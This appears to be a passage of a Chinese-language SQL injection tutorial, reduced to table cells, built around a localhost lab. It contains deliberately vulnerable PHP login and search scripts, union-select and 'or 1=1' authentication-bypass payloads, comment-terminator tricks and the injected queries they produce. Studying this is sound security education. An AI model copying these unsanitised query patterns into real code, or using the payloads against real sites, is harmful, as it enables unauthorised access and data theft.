| $command = \"dir c:/\"; system($command); |
| ①SELECT * FROM article WHERE articleid='$id' ②SELECT * FROM article WHERE articleid=$id |
| ① 指定变量$id为: 1' and 1=2 union select * from user where userid=1/* 此时整个SQL语句变为: SELECT * FROM article WHERE articleid='1' and 1=2 union select * from user where userid=1/*' ②指定变量$id为: 1 and 1=2 union select * from user where userid=1 此时整个SQL语句变为: SELECT * FROM article WHERE articleid=1 and 1=2 union select * from user where userid=1 |
| $sql = \"SELECT * FROM \" . FORUMS_TABLE . \" WHERE forum_id = $forum_id\"; |
| CREATE DATABASE `injection` CREATE TABLE `user` ( `userid` int(11) NOT NULL auto_increment, `username` varchar(20) NOT NULL default '', `password` varchar(20) NOT NULL default '', PRIMARY KEY (`userid`) ) ; INSERT INTO `user` VALUES (1, 'angel', 'mypass'); |
| <?php $servername = \"localhost\"; $dbusername = \"root\"; $dbpassword = \"\"; $dbname = \"injection\"; mysql_connect($servername,$dbusername,$dbpassword) or die (\"数据库连接失败\"); $sql = \"SELECT * FROM user WHERE username='$username' AND password='$password'\"; $result = mysql_db_query($dbname, $sql); $userinfo = mysql_fetch_array($result); if (empty($userinfo)) { echo \"登陆失败\"; } else { echo \"登陆成功\"; } echo \"<p>SQL Query:$sql\"; ?> |
| http://127.0.0.1/injection/user.php?username=angel' or 1=1 |
| Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in F:/www/injection/user.php on line 13 登陆失败 SQL Query:SELECT * FROM user WHERE username='angel' or 1=1' AND password='' PHP Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in F:/www/injection/user.php on line 13 |
| http://127.0.0.1/injection/user.php?username=angel' or '1=1 |
| http://127.0.0.1/injection/user.php?username=angel'/* http://127.0.0.1/injection/user.php?username=angel'%23 |
| <form method=\"GET\" action=\"search.php\" name=\"search\"> <input name=\"keywords\" type=\"text\" value=\"\" size=\"15\"> <input type=\"submit\" value=\"Search\"> </form> <p><b>Search result</b></p> <?php //search.php $servername = \"localhost\"; $dbusername = \"root\"; $dbpassword = \"\"; $dbname = \"injection\"; mysql_connect($servername,$dbusername,$dbpassword) or die (\"数据库连接失败\"); $keywords = $_GET['keywords']; if (!empty($keywords)) { $sql = \"SELECT * FROM article WHERE title LIKE '%$keywords%' $search ORDER BY title DESC\"; $result = mysql_db_query($dbname,$sql); $tatol=mysql_num_rows($result); echo \"<p>SQL Query:$sql<p>\"; if ($tatol <=0){ echo \"The /\"<b>$keywords</b>/\" was not found in all the record.<p>/n\"; } else { while ($article=mysql_fetch_array($result)) { echo \"<li>\".htmlspecialchars($article[title]).\"<p>/n\"; } //while } } else { echo \"<b>Please enter some keywords.</b><p>/n\"; } ?> |
| %' ORDER BY articleid/* %' ORDER BY articleid# __' ORDER BY articleid/* __' ORDER BY articleid# |
| SELECT * FROM article WHERE title LIKE '%%' ORDER BY articleid/*%' ORDER BY title DESC SELECT * FROM article WHERE title LIKE '%__' ORDER BY articleid#%' ORDER BY title DESC |